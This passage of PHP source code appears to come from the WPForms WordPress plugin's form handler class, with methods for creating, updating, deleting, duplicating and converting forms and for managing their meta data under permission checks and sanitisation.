protected function get_multiple( array $args = [] ): array {
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Allow developers to filter the get_multiple() arguments.
*
* @since 1.5.8
*
* @param array $args Arguments array. Almost the same as for `get_posts()` function.
* Additional element:
* ['search']['term'] - search the form title or description by term.
*/
$args = (array) apply_filters( 'wpforms_get_multiple_forms_args', $args );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
// No ID provided, get multiple forms.
$defaults = [
'orderby' => 'id',
'order' => 'ASC',
'no_found_rows' => true,
'nopaging' => true,
'suppress_filters' => false,
];
$args = wp_parse_args( $args, $defaults );
$post_type = $args['post_type'] ?? [];
// Post type should be one of the allowed post types.
$post_type = array_intersect( (array) $post_type, self::POST_TYPES );
// If no valid (allowed) post types are provided, use the default one.
$args['post_type'] = ! empty( $post_type ) ? $post_type : 'wpforms';
/**
* Allow developers to execute some code before get_posts() call inside \WPForms_Form_Handler::get_multiple().
*
* @since 1.7.2
*
* @param array $args Arguments of the `get_posts()`.
*/
do_action( 'wpforms_form_handler_get_multiple_before_get_posts', $args );
$forms = get_posts( $args );
/**
* Allow developers to execute some code right after get_posts() call inside \WPForms_Form_Handler::get_multiple().
*
* @since 1.7.2
*
* @param array $args Arguments of the `get_posts`.
* @param array $forms Forms data. Result of getting multiple forms.
*/
do_action( 'wpforms_form_handler_get_multiple_after_get_posts', $args, $forms );
/**
* Allow developers to filter the result of get_multiple().
*
* @since 1.7.2
*
* @param array $forms Result of getting multiple forms.
*/
return apply_filters( 'wpforms_form_handler_get_multiple_forms_result', $forms );
}
/**
* Update the form status.
*
* @since 1.7.3
*
* @param int $form_id Form ID.
* @param string $status New status.
*
* @return bool
*/
public function update_status( $form_id, $status ) {
// Status updates are used only in trash and restore actions,
// which are actually part of the deletion operation.
// Therefore, we should check the `delete_form_single` and not `edit_form_single` permission.
if ( ! wpforms_current_user_can( 'delete_form_single', $form_id ) ) {
return false;
}
$form_id = absint( $form_id );
$status = empty( $status ) ? 'publish' : sanitize_key( $status );
/**
* Filters the allowed form statuses.
*
* @since 1.7.3
*
* @param array $allowed_statuses Array of allowed form statuses. Default: publish, trash.
*/
$allowed = (array) apply_filters( 'wpforms_form_handler_update_status_allowed', [ 'publish', 'trash' ] );
if ( ! in_array( $status, $allowed, true ) ) {
return false;
}
$result = wp_update_post(
[
'ID' => $form_id,
'post_status' => $status,
]
);
/**
* Allow developers to execute some code after changing form status.
*
* @since 1.8.1
*
* @param string $form_id Form ID.
* @param string $status New form status, `publish` or `trash`.
*/
do_action( 'wpforms_form_handler_update_status', $form_id, $status );
return $result !== 0;
}
/**
* Delete all forms in the Trash.
*
* @since 1.7.3
*
* @return int|bool Number of deleted forms OR false.
*/
public function empty_trash() {
$forms = $this->get_multiple(
[
'post_type' => self::POST_TYPES,
'post_status' => 'trash',
'fields' => 'ids',
'suppress_filters' => true, // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.SuppressFilters_suppress_filters
]
);
if ( empty( $forms ) ) {
return false;
}
return $this->delete( $forms ) ? count( $forms ) : false;
}
/**
* Delete forms.
*
* @since 1.0.0
*
* @param array $ids Form IDs.
*
* @return bool
*/
public function delete( $ids = [] ) {
if ( ! is_array( $ids ) ) {
$ids = [ $ids ];
}
$ids = array_map( 'absint', $ids );
foreach ( $ids as $id ) {
// Check for permissions.
if ( ! wpforms_current_user_can( 'delete_form_single', $id ) ) {
return false;
}
if ( class_exists( 'WPForms_Entry_Handler', false ) ) {
wpforms()->obj( 'entry' )->delete_by( 'form_id', $id );
wpforms()->obj( 'entry_meta' )->delete_by( 'form_id', $id );
wpforms()->obj( 'entry_fields' )->delete_by( 'form_id', $id );
}
$form = wp_delete_post( $id, true );
if ( ! $form ) {
return false;
}
}
do_action( 'wpforms_delete_form', $ids );
return true;
}
/**
* Add new form.
*
* @since 1.0.0
*
* @param string $title Form title.
* @param array $args Additional arguments.
* @param array $data Form data.
*
* @return mixed
*/
public function add( $title = '', $args = [], $data = [] ) {
// Must have a title.
if ( empty( $title ) ) {
return false;
}
// Check for permissions.
if ( ! wpforms_current_user_can( 'create_forms' ) ) {
return false;
}
// This filter breaks forms if they contain HTML.
remove_filter( 'content_save_pre', 'balanceTags', 50 );
// Add filter of the link rel attr to avoid JSON damage.
add_filter( 'wp_targeted_link_rel', '__return_empty_string', 50, 1 );
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Filters form creation arguments.
*
* @since 1.0.0
*
* @param array $args Form creation arguments.
* @param array $data Additional data.
*/
$args = apply_filters( 'wpforms_create_form_args', $args, $data );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
$form_content = [
'field_id' => '0',
'settings' => [
'form_title' => sanitize_text_field( $title ),
'form_desc' => '',
],
];
if ( $this->is_form_data_slashing_enabled ) {
$form_content = wp_slash( $form_content );
}
$args_form_data = isset( $args['post_content'] ) ? json_decode( wp_unslash( $args['post_content'] ), true ) : null;
// Prevent $args['post_content'] from overwriting predefined $form_content.
// Typically, it happens if the form was created with a form template and a user was not redirected to a form editing screen afterwards.
// This is only possible if a user has 'wpforms_create_forms' and no 'wpforms_edit_own_forms' capability.
if ( is_array( $args_form_data ) ) {
$args['post_content'] = wpforms_encode( array_replace_recursive( $form_content, $args_form_data ) );
}
// Merge args and create the form.
$form = wp_parse_args(
$args,
[
'post_title' => esc_html( $title ),
'post_status' => 'publish',
'post_type' => 'wpforms',
'post_content' => wpforms_encode( $form_content ),
]
);
$form_id = wp_insert_post( $form );
// Set form tags.
if ( ! empty( $form_id ) && ! empty( $args_form_data['settings']['form_tags'] ) ) {
wp_set_post_terms(
$form_id,
implode( ',', $args_form_data['settings']['form_tags'] ),
self::TAGS_TAXONOMY
);
}
// If user has no editing permissions the form considered to be created out of the WPForms form builder's context.
if ( ! wpforms_current_user_can( 'edit_form_single', $form_id ) ) {
$data['builder'] = false;
}
// If the form is created outside the context of the WPForms form
// builder, then we define some additional default values.
if ( ! empty( $form_id ) && isset( $data['builder'] ) && $data['builder'] === false ) {
$form_data = json_decode( wp_unslash( $form['post_content'] ), true );
$form_data['id'] = $form_id;
$form_data['settings']['submit_text'] = esc_html__( 'Submit', 'wpforms-lite' );
$form_data['settings']['submit_text_processing'] = esc_html__( 'Sending...', 'wpforms-lite' );
$form_data['settings']['notification_enable'] = '1';
$form_data['settings']['notifications'] = [
'1' => [
'email' => '{admin_email}',
'subject' => sprintf( /* translators: %s - form name. */
esc_html__( 'New Entry: %s', 'wpforms-lite' ),
esc_html( $title )
),
'sender_name' => get_bloginfo( 'name' ),
'sender_address' => '{admin_email}',
'message' => '{all_fields}',
],
];
$form_data['settings']['confirmations'] = [
'1' => [
'type' => 'message',
'message' => esc_html__( 'Thanks for contacting us! We will be in touch with you shortly.', 'wpforms-lite' ),
'message_scroll' => '1',
],
];
$this->update( $form_id, $form_data, [ 'cap' => 'create_forms' ] );
}
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Fires after the form was created.
*
* @since 1.0.0
*
* @param int $form_id Form ID.
* @param array $form Form data.
* @param array $data Additional data.
*/
do_action( 'wpforms_create_form', $form_id, $form, $data );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
return $form_id;
}
/**
* Update form.
*
* @since 1.0.0
*
* @param string|int $form_id Form ID.
* @param array $data Data retrieved from $_POST and processed.
* @param array $args Empty by default. May have custom data not intended to be saved.
*
* @return int|false
*/
public function update( $form_id = '', array $data = [], array $args = [] ) { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks, Generic.Metrics.CyclomaticComplexity.TooHigh, Generic.Metrics.CyclomaticComplexity.MaxExceeded
if ( empty( $data ) ) {
return false;
}
if ( empty( $form_id ) && isset( $data['id'] ) ) {
$form_id = $data['id'];
}
if ( ! isset( $args['cap'] ) ) {
$args['cap'] = 'edit_form_single';
}
if ( ! empty( $args['cap'] ) && ! wpforms_current_user_can( $args['cap'], $form_id ) ) {
return false;
}
// This filter breaks forms if they contain HTML.
remove_filter( 'content_save_pre', 'balanceTags', 50 );
// Add filter of the link rel attr to avoid JSON damage.
add_filter( 'wp_targeted_link_rel', '__return_empty_string', 50, 1 );
if ( $this->is_form_data_slashing_enabled ) {
// Even though we are not going to unslash some data,
// columns-json and calculation_code fields must be unslashed.
$data = $this->unslash_field_keys( $data, [ 'columns-json', 'calculation_code' ] );
} else {
// phpcs:ignore Generic.Commenting.DocComment.MissingShort
/** @noinspection CallableParameterUseCaseInTypeContextInspection */
$data = wp_unslash( $data );
}
$title = empty( $data['settings']['form_title'] ) ? get_the_title( $form_id ) : $data['settings']['form_title'];
$desc = empty( $data['settings']['form_desc'] ) ? '' : $data['settings']['form_desc'];
$data['field_id'] = ! empty( $data['field_id'] ) ? wpforms_validate_field_id( $data['field_id'] ) : '0';
// Preserve explicit "Do not store spam entries" state.
$data['settings']['store_spam_entries'] = $data['settings']['store_spam_entries'] ?? '0';
// Preserve form meta.
$meta = $this->get_meta( $form_id );
if ( $meta ) {
$data['meta'] = $meta;
}
// Update category and subcategory only if available.
if ( ! empty( $args['category'] ) ) {
$data['meta']['category'] = $args['category'];
}
if ( ! empty( $args['subcategory'] ) ) {
$data['meta']['subcategory'] = $args['subcategory'];
}
// Preserve fields meta.
if ( isset( $data['fields'] ) ) {
$data['fields'] = $this->update__preserve_fields_meta( $data['fields'], $form_id );
}
// Sanitize - don't allow tags for users who do not have the appropriate cap.
// If we don't do this, forms for these users can get corrupt due to conflicts with wp_kses().
if ( ! current_user_can( 'unfiltered_html' ) ) {
$data = map_deep( $data, 'wp_strip_all_tags' );
}
// Sanitize notifications names.
if ( isset( $data['settings']['notifications'] ) ) {
$data['settings']['notifications'] = $this->update__sanitize_notifications_names( $data['settings']['notifications'] );
}
unset( $notification );
/**
* Allow changing post data before saving.
*
* @since 1.0.0
*
* @param array $post_data Post data.
* @param array $form_data Form data.
* @param array $args Empty by default. May have custom data not intended to be saved.
*/
$form = apply_filters( // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
'wpforms_save_form_args',
[
'ID' => $form_id,
'post_title' => esc_html( $title ),
'post_excerpt' => $desc,
'post_content' => wpforms_encode( $data ),
],
$data,
$args
);
$_form_id = wp_update_post( $form );
if ( is_wp_error( $_form_id ) ) {
return false;
}
/**
* Fires after saving the form.
*
* @since 1.0.0
*
* @param int $_form_id Form ID.
* @param array $form Form.
*/
do_action( 'wpforms_save_form', $_form_id, $form ); // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
return $_form_id;
}
/**
* Preserve fields meta in 'update' method.
*
* @since 1.5.8
*
* @param array $fields Form fields.
* @param string|int $form_id Form ID.
*
* @return array
*/
protected function update__preserve_fields_meta( $fields, $form_id ) {
foreach ( $fields as $i => $field_data ) {
if ( isset( $field_data['id'] ) ) {
$field_meta = $this->get_field_meta( $form_id, $field_data['id'] );
if ( $field_meta ) {
$fields[ $i ]['meta'] = $field_meta;
}
}
}
return $fields;
}
/**
* Sanitize notifications names meta in 'update' method.
*
* @since 1.5.8
*
* @param array $notifications Form notifications.
*
* @return array
*/
protected function update__sanitize_notifications_names( $notifications ) {
foreach ( $notifications as $id => &$notification ) {
if ( ! empty( $notification['notification_name'] ) ) {
$notification['notification_name'] = sanitize_text_field( $notification['notification_name'] );
}
}
return $notifications;
}
/**
* Duplicate forms.
*
* @since 1.1.4
* @since 1.8.8 Return array of new form IDs instead of true.
*
* @param array|string $ids Form IDs to duplicate.
*
* @return bool|array Array of new form IDs or false.
*/
public function duplicate( $ids ) { // phpcs:disable WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks, Generic.Metrics.CyclomaticComplexity.TooHigh
// Check for permissions.
if ( ! wpforms_current_user_can( 'create_forms' ) ) {
return false;
}
// Add filter of the link rel attr to avoid JSON damage.
add_filter( 'wp_targeted_link_rel', '__return_empty_string', 50, 1 );
// This filter breaks forms if they contain HTML.
remove_filter( 'content_save_pre', 'balanceTags', 50 );
if ( ! is_array( $ids ) ) {
$ids = [ $ids ];
}
$ids = array_map( 'absint', $ids );
$duplicate_ids = [];
foreach ( $ids as $id ) {
// Get original entry.
$form = get_post( $id );
if ( ! wpforms_current_user_can( 'view_form_single', $id ) ) {
return false;
}
// Confirm form exists.
if ( empty( $form ) ) {
return false;
}
// Get the form data.
$new_form_data = wpforms_decode( $form->post_content );
if ( $this->is_form_data_slashing_enabled ) {
$new_form_data = wp_slash( $new_form_data );
}
// Remove form ID from title if present.
$new_form_data['settings']['form_title'] = str_replace( '(ID #' . absint( $id ) . ')', '', $new_form_data['settings']['form_title'] );
// Remove '(copy)' from the form template title if present.
$new_form_data['settings']['form_title'] = str_replace( __( '(copy)', 'wpforms-lite' ), '', $new_form_data['settings']['form_title'] );
// Remove trailing spaces.
$new_form_data['settings']['form_title'] = rtrim( $new_form_data['settings']['form_title'] );
// Remove `-template` suffix and all after it from the post name.
$post_name = preg_replace( '/-template(-\d+)?/', '', $form->post_name );
// Add some notice messages before form preview area.
$new_form_data = $this->add_notices( $new_form_data, (int) $id );
// Create the duplicate form.
$new_form = [
'post_content' => wpforms_encode( $new_form_data ),
'post_excerpt' => $form->post_excerpt,
'post_status' => $form->post_status,
'post_title' => $new_form_data['settings']['form_title'],
'post_type' => $form->post_type,
'post_name' => wpforms_is_form_template( $id ) ? $post_name . '-template' : $post_name,
];
$new_form_id = wp_insert_post( $new_form );
if ( ! $new_form_id || is_wp_error( $new_form_id ) ) {
return false;
}
// Set new form name.
$new_form_data['settings']['form_title'] .= $form->post_type === 'wpforms-template' ?
' ' . __( '(copy)', 'wpforms-lite' ) :
' (ID #' . absint( $new_form_id ) . ')';
// Set new form ID.
$new_form_data['id'] = absint( $new_form_id );
// Update new duplicate form.
$new_form_id = $this->update( $new_form_id, $new_form_data, [ 'cap' => 'create_forms' ] );
if ( ! $new_form_id ) {
return false;
}
// Add tags to the new form.
if ( ! empty( $new_form_data['settings']['form_tags'] ) ) {
wp_set_post_terms(
$new_form_id,
implode( ',', (array) $new_form_data['settings']['form_tags'] ),
self::TAGS_TAXONOMY
);
}
/**
* Fires after the form was duplicated.
*
* @since 1.8.2.2
*
* @param int $id Original form ID.
* @param int $new_form_id New form ID.
* @param array $new_form_data New form data.
*/
do_action( 'wpforms_form_handler_duplicate_form', $id, $new_form_id, $new_form_data );
$duplicate_ids[] = $new_form_id;
}
return $duplicate_ids;
}
/**
* Convert form to a template and vice versa.
*
* @since 1.8.8
*
* @param string|int $form_id Form ID.
* @param string $convert_to Convert to, `form` or `template`.
*
* @return false|int New object ID or false on failure.
*/
public function convert( $form_id, string $convert_to ) {
if ( ! in_array( $convert_to, [ 'form', 'template' ], true ) ) {
return false;
}
// Duplicate the form.
$ids = $this->duplicate( $form_id );
if ( empty( $ids ) ) {
return false;
}
$new_form_id = current( $ids );
$form = get_post( $new_form_id );
$form_data = wpforms_decode( $form->post_content );
if ( $this->is_form_data_slashing_enabled ) {
$form_data = wp_slash( $form_data );
}
/**
* Filters the form data before converting it to a template or vice versa.
*
* @since 1.8.8
*
* @param array $form_data Form data.
* @param string|int $form_id Form ID.
* @param string $convert_to Convert to, `form` or `template`.
*/
$form_data = apply_filters( 'wpforms_form_handler_convert_form_data', $form_data, $form_id, $convert_to );
// Set default post type.
$post_type = 'wpforms';
// Remove numeric suffix from the post name.
// Duplication always adds `-{numeric}` suffix.
$post_name = preg_replace( '/-\d+$/', '', $form->post_name );
// Remove `-template` suffix and all after it from the post name.
$post_name = preg_replace( '/-template(-\d+)?/', '', $post_name );
// Remove (copy) from the form title, if present.
$form_data['settings']['form_title'] = str_replace( __( '(copy)', 'wpforms-lite' ), '', $form_data['settings']['form_title'] );
// Remove trailing spaces.
$form_data['settings']['form_title'] = rtrim( $form_data['settings']['form_title'] );
// Remove template description.
unset( $form_data['settings']['template_description'] );
if ( $convert_to === 'template' ) {
$post_type = 'wpforms-template';
// Remove (ID #<Form ID>) from the form title, if present.
$form_data['settings']['form_title'] = preg_replace( '/\(ID #\d+\)/', '', $form_data['settings']['form_title'] );
// Set empty template description.
$form_data['settings']['template_description'] = '';
// Remove traces of any other template that may have been used to create the original form by setting itself as a template.
$form_data['meta']['template'] = 'wpforms-user-template-' . $new_form_id;
// Add `-template` suffix to the post name.
$post_name .= '-template';
}
wp_update_post(
[
'ID' => $new_form_id,
'post_title' => $form_data['settings']['form_title'],
'post_type' => $post_type,
'post_content' => wpforms_encode( $form_data ),
'post_name' => $post_name,
]
);
return $new_form_id;
}
/**
* Append notice(s) before form preview, if needed.
*
* @since 1.8.8
*
* @param array $new_form_data New form data.
* @param int $form_id Original form ID.
*
* @return array
*/
private function add_notices( array $new_form_data, int $form_id ): array {
/**
* Add custom notices to be displayed in the preview area of the Form Builder
* after a form or a form template has been duplicated or converted.
*
* @since 1.8.8
*
* @param array $notices Array of notices.
* @param array $new_form_data Form data of the newly duplicated form or form template.
* @param int $form_id Original form ID.
*/
$notices = apply_filters( 'wpforms_form_handler_add_notices', [], $new_form_data, $form_id );
if ( empty( $notices ) ) {
return $new_form_data;
}
$current_field_id = ! empty( $new_form_data['fields'] ) ? max( array_keys( $new_form_data['fields'] ) ) : 0;
$code_fields = array_column( $new_form_data['fields'], 'code' );
$next_field_id = $current_field_id;
$warning = [];
foreach ( $notices as $notice ) {
// Skip the duplicate notice if it already exists.
if ( ! empty( $notice['code'] ) && in_array( $notice['code'], $code_fields, true ) ) {
continue;
}
$next_field_id = ++$current_field_id;
$warning[ $next_field_id ] = [
'id' => $next_field_id,
'type' => 'internal-information',
'code' => ! empty( $notice['code'] ) ? esc_attr( $notice['code'] ) : '',
'description' => '',
];
$warning[ $next_field_id ]['description'] .= ! empty( $notice['title'] ) ? '<strong>' . esc_html( $notice['title'] ) . '</strong>' : '';
$warning[ $next_field_id ]['description'] .= ! empty( $notice['message'] ) ? '<p>' . wp_kses_post( $notice['message'] ) . '</p>' : '';
// Do not add notice with empty body.
if ( empty( $warning[ $next_field_id ]['description'] ) ) {
unset( $warning[ $next_field_id ] );
--$next_field_id; // Reset next field ID to the previous value.
}
}
if ( ! empty( $warning ) ) {
$new_form_data['fields'] = $warning + $new_form_data['fields'];
// Update next field ID to be used for future created fields. Otherwise, IIF field would be overwritten.
$new_form_data['field_id'] = $next_field_id + 1;
}
return $new_form_data;
}
/**
* Add a notice about Zapier zaps disconnected after form being duplicated or converted to/from template.
*
* @WPFormsBackCompat Support Zapier v1.5.0 and earlier.
*
* @since 1.8.8
*
* @param array $notices Array of notices.
* @param array $new_form_data Form data.
* @param int $form_id Original form ID.
*
* @return array
*/
public function _zapier_disconnected_on_duplication( $notices, array $new_form_data, int $form_id ): array { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore
// Check if original form had any Zaps connected.
$is_zapier_connected = get_post_meta( $form_id, 'wpforms_zapier', true );
if ( ! $is_zapier_connected ) {
return $notices;
}
$notices['zapier'] = [
'title' => esc_html__( 'Zaps Have Been Disabled', 'wpforms-lite' ),
'code' => 'disconnected_on_duplication',
'message' => sprintf( /* translators: %s - URL the to list of Zaps. */
__( 'Head over to the Zapier settings in the Marketing tab or visit your <a href="%s" target="_blank" rel="noopener noreferrer">Zapier account</a> to restore them.', 'wpforms-lite' ),
esc_url( 'https://zapier.com/app/zaps' )
),
];
return $notices;
}
/**
* Get the next available field ID and increment by one.
*
* @since 1.0.0
*
* @param string|int $form_id Form ID.
* @param array $args Additional arguments.
*
* @return mixed int or false
*/
public function next_field_id( $form_id, $args = [] ) { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks
if ( empty( $form_id ) ) {
return false;
}
$defaults = [
'content_only' => true,
];
if ( isset( $args['cap'] ) ) {
$defaults['cap'] = $args['cap'];
}
$form = $this->get( $form_id, $defaults );
if ( $this->is_form_data_slashing_enabled ) {
$form = wp_slash( $form );
}
if ( empty( $form ) ) {
return false;
}
$field_id = 0;
$max_field_id = ! empty( $form['fields'] ) ? max( array_keys( $form['fields'] ) ) : 0;
// We pass the `field_id` after duplicating the Layout field that contains a bunch of fields.
// This is needed to avoid multiple AJAX calls after duplicating each field in the Layout.
if ( isset( $args['field_id'] ) ) {
$set_field_id = absint( $args['field_id'] ) - 1;
$field_id = $set_field_id > $max_field_id ? $set_field_id : $max_field_id + 1;
} elseif ( ! empty( $form['field_id'] ) ) {
$field_id = absint( $form['field_id'] );
$field_id = $max_field_id > $field_id ? $max_field_id + 1 : $field_id;
}
$form['field_id'] = $field_id + 1;
// Skip creating a revision for this action.
remove_action( 'post_updated', 'wp_save_post_revision' );
$this->update( $form_id, $form );
// Restore the initial revisions state.
add_action( 'post_updated', 'wp_save_post_revision', 10, 1 );
return $field_id;
}
/**
* Get private meta information for a form.
*
* @since 1.0.0
*
* @param string|int $form_id Form ID.
* @param string $field Field.
* @param array $args Additional arguments.
*
* @return false|array
*/
public function get_meta( $form_id, $field = '', $args = [] ) {
if ( empty( $form_id ) ) {
return false;
}
$defaults = [
'content_only' => true,
];
if ( isset( $args['cap'] ) ) {
$defaults['cap'] = $args['cap'];
}
$data = $this->get( $form_id, $defaults );
if ( ! isset( $data['meta'] ) ) {
return false;
}
if ( empty( $field ) ) {
return $data['meta'];
}
if ( isset( $data['meta'][ $field ] ) ) {
return $data['meta'][ $field ];
}
return false;
}
/**
* Update or add form meta information to a form.
*
* @since 1.4.0
*
* @param string|int $form_id Form ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param array $args Additional arguments.
*
* @return false|int|WP_Error
*/
public function update_meta( $form_id, $meta_key, $meta_value, $args = [] ) {
if ( empty( $form_id ) || empty( $meta_key ) ) {
return false;
}
// Add filter of the link rel attr to avoid JSON damage.
add_filter( 'wp_targeted_link_rel', '__return_empty_string', 50, 1 );
// This filter breaks forms if they contain HTML.
remove_filter( 'content_save_pre', 'balanceTags', 50 );
if ( ! isset( $args['cap'] ) ) {
$args['cap'] = 'edit_form_single';
}
$form = $this->get_single( absint( $form_id ), $args );
if ( empty( $form ) ) {
return false;
}
$data = wpforms_decode( $form->post_content );
$meta_key = wpforms_sanitize_key( $meta_key );
$data['meta'][ $meta_key ] = $meta_value;
$form = [
'ID' => $form_id,
'post_content' => wpforms_encode( $data ),
];
$form = apply_filters( 'wpforms_update_form_meta_args', $form, $data );
$form_id = wp_update_post( $form );
do_action( 'wpforms_update_form_meta', $form_id, $form, $meta_key, $meta_value );
return $form_id;
}
/**
* Delete form meta information from a form.
*
* @since 1.4.0
*
* @param string|int $form_id Form ID.
* @param string $meta_key Meta key.
* @param array $args Additional arguments.
*
* @return false|int|WP_Error
*/
public function delete_meta( $form_id, $meta_key, $args = [] ) {
if ( empty( $form_id ) || empty( $meta_key ) ) {
return false;
}
// Add filter of the link rel attr to avoid JSON damage.
add_filter( 'wp_targeted_link_rel', '__return_empty_string', 50, 1 );
// This filter breaks forms if they contain HTML.
remove_filter( 'content_save_pre', 'balanceTags', 50 );
if ( ! isset( $args['cap'] ) ) {
$args['cap'] = 'edit_form_single';
}
$form = $this->get_single( absint( $form_id ), $args );
if ( empty( $form ) ) {
return false;
}
$data = wpforms_decode( $form->post_content );
$meta_key = wpforms_sanitize_key( $meta_key );
unset( $data['meta'][ $meta_key ] );
$form = [
'ID' => $form_id,
'post_content' => wpforms_encode( $data ),
];
$form = apply_filters( 'wpforms_delete_form_meta_args', $form, $data );
$form_id = wp_update_post( $form );
do_action( 'wpforms_delete_form_meta', $form_id, $form, $meta_key );
return $form_id;
}
/**
* Get private meta information for a form field.
*
* @since 1.0.0
*
* @param string|int $form_id Form ID.
* @param string $field_id Field ID.
* @param array $args Additional arguments.
*
* @return array|false
*/
public function get_field( $form_id, $field_id = '', $args = [] ) {
if ( empty( $form_id ) ) {
return false;
}
$defaults = [
'content_only' => true,
];
if ( isset( $args['cap'] ) ) {
$defaults['cap'] = $args['cap'];
}
$data = $this->get( $form_id, $defaults );
return isset( $data['fields'][ $field_id ] ) ? $data['fields'][ $field_id ] : false;
}
/**
* Get private meta information for a form field.
*
* @since 1.0.0
*
* @param string|int $form_id Form ID.
* @param string $field_id Field ID.
* @param array $args Additional arguments.
*
* @return array|false
*/
public function get_field_meta( $form_id, $field_id = '', $args = [] ) {
$field = $this->get_field( $form_id, $field_id, $args );
if ( ! $field ) {
return false;
}
return isset( $field['meta'] ) ? $field['meta'] : false;
}
/**
* Checks if any forms are present on the site.
*
* @since 1.8.8
*
* @retun bool
*/
public function forms_exist(): bool {
return (bool) $this->get(
'',
[
'numberposts' => 1,
'fields' => 'ids',
'no_found_rows' => true,
'suppress_filters' => true, // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.SuppressFilters_suppress_filters
'nopaging' => false,
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
]
);
}
/**
* Get forms count per page.
*
* @since 1.8.8
*
* @return int
*/
public function get_count_per_page(): int {
// phpcs:disable WPForms.PHP.ValidateHooks.InvalidHookName
/**
* Give developers an ability to modify number of forms per page.
*
* @since 1.8.8
*
* @param array $count Forms count per page.
*/
return (int) apply_filters( 'wpforms_forms_per_page', 20 );
// phpcs:enable WPForms.PHP.ValidateHooks.InvalidHookName
}
/**
* Unslash field keys.
*
* @since 1.9.0
*
* @param array $data Form data.
* @param array $keys Field keys.
*
* @return array
*/
private function unslash_field_keys( array $data, array $keys ): array {
if ( empty( $data['fields'] ) ) {
return $data;
}
/**
* Filter field keys to be unslashed before saving.
*
* Works used with filter wpforms_enable_form_data_slashing set to true.
*
* @since 1.9.0
*
* @param array $keys Field keys.
*
* @return array
*/
$keys = (array) apply_filters( 'wpforms_form_handler_unslash_field_keys', $keys );
if ( empty( $keys ) ) {
return $data;
}
foreach ( $data['fields'] as $id => $field ) {
foreach ( $keys as $key ) {
if ( isset( $field[ $key ] ) ) {
$data['fields'][ $id ][ $key ] = wp_unslash( $field[ $key ] );
}
}
}
return $data;
}
}